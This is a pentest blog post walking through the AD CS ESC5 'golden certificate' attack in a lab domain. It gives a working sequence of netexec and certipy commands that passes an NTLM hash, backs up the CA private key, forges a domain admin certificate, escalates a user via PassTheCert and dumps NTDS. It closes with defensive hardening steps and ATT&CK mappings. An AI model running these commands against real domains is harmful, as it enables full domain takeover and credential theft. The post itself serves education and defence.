Active Directory “Golden” Certificate Attack (ADCS – ESC5)

ADCS Part VIntroduction

In PART 4 of this ADCS series, we explored an overview of Active Directory Certificate Services (AD CS) and demonstrated the ESC4 escalation technique. This blog will delve deeper into various other objects within ADCS that can impact the entire system’s security. Specifically, we will focus on the Certificate Authority (CA) server’s Active Directory (AD) computer object. Insecure access control settings for these objects can be exploited by attackers to compromise the Public Key Infrastructure (PKI) and escalate their privileges within the domain.

The PKI system’s security is at risk if an attacker with limited privileges gains control over any of these critical components. Potential risks include, but are not limited to:

  • The AD computer object of the CA server
  • The CA server’s RPC/DCOM server
  • Any descendant AD object or container within the path CN=Public Key Services, CN=Services, CN=Configuration, DC=, DC= (including the Certificate Templates container, Certification Authorities container, NTAuthCertificates object, Enrollment Services container, etc.)

Prerequisites – ESC5 Attack

The ESC5 is a post-exploitation attack that can only be performed once a threat actor gains access as a local admin on the Certificate Authority (CA) server. The following are the requirements.

  • Certificate Authority Server as part of the Domain (SHIELD.local)
  • Local Admin access on the CA server – Local Administrator Account
  • Low Privileged Domain User (pcoulson)
  • Certipy
  • netexec

ESC5 & Golden Certificate Attack Walkthrough

Once we gain local administrative access to the Certificate Authority (CA) server, we can exploit this privilege to create a “Golden Certificate.” These certificates are essentially forged using the compromised CA’s certificate and private key, similar to how a “Golden Ticket” is crafted using compromised krbtgt account credentials.

To execute this attack, we first need to acquire the CA’s certificate and private key. This can be achieved by leveraging Certipy, a tool that automatically retrieves these with the backup parameter. Since we already possess local admin rights on the CA server, we can easily carry out this step.

Once we have the CA’s certificate and private key, we can proceed to create a forged certificate for the domain admin.

In summary, by exploiting local admin access on the CA server and leveraging the tool Certipy, we can create golden certificates, enabling us to escalate our privileges within the domain. This underscores the importance of robust security measures to safeguard against unauthorized access to critical systems and assets.

netexec smb -u administrator -H :70719ceea9cd82e56b744447952fbf68 --local-auth
certipy ca -backup -u 'Administrator' -hashes :70719ceea9cd82e56b744447952fbf68 -ca 'SHIELD-ADCS' -debug -target
certipy forge -ca-pfx 'SHIELD-ADCS.pfx' -upn administrator@shield.local
#Extracting Certificate from pfx File
certipy cert -pfx administrator_forged.pfx -nokey -out administrator.crt

#Extracting Key from pfx File
certipy cert -pfx administrator_forged.pfx -nocert -out administrator.key
python3 /opt/PassTheCert/Python/ -action modify_user -crt administrator.crt -key administrator.key -target pcoulson -elevate -domain shield.local -dc-host dc4.shield.local
netexec smb -u pcoulson -p P4ssw0rd123456@ --ntds --user administrator

Gaining Access to DC via Pass-The-Hash Technique

Please refer to one of our previous ADCS attacks for more detailed information on gaining access via the Pass-The-Hash Technique.

Gaining Access to DC using a TGT Ticket

We need to obtain the administrator.pfx file, which can be acquired by executing the below command.

certipy req -ca SHIELD-DC4-CA -dc-ip -u pcoulson@shield.local -p 'P4ssw0rd123456@' -template USER -target DC4.shield.LOCAL -upn 'administrator@shield.local'

To continue, refer to one of our previous ADCS attacks for more detailed information on gaining access using TGT Ticket.

Video Walkthrough


It has been acknowledged that Active Directory Certificate Services (AD CS) plays a pivotal role in organizational security. However, its effectiveness heavily relies on getting the configuration spot on, which leaves it vulnerable to various risks, like unauthorized access and privilege escalation within the domain. Loose access control settings for the Certificate Authority (CA) and other AD CS components can be exploited by attackers, putting the entire Public Key Infrastructure (PKI) at risk and allowing them to escalate their privileges.

Regular penetration tests or adversary emulation assessments are necessary to combat these threats and beef up AD CS security. These tests ensure that security measures and configurations remain solid against evolving threats. While AD CS security is complex, we aim to provide clear guidance to navigate and protect this vital part of security infrastructure.

Here are some basic steps to shore up your AD CS security:

  • Check Certificate Templates: Look at all active certificate templates and deactivate any unused ones.
  • Tighten Template Permissions: Be strict about who can access certificate templates, giving permissions only to those who need them. Also, keep a close eye on enrollment permissions.
  • Require Manual Approval: Set up “Issuance Requirements” to ensure someone has to manually approve all certificate issuances, adding an extra layer of security.
  • Stick to the Least Privilege Principle: Give people access only to what they absolutely need.
  • Credentials from Password Stores – T1555
  • Steal or Forge Authentication Certificates – T1649
  • Pass The Hash – T1550.002
  • Steal or Forge Kerberos Tickets – T1558
  • Pass the Ticket – T1550.003

Credits & References


  • Chanel Carr

    Professional security architect of multi-clouds, including Amazon Web Services (AWS), Microsoft Azure, and Google GCP, with experience evaluating and testing computer security systems, creating firewalls, improving network security to protect the system further.

Share the Post:

Subscribe To Our Blog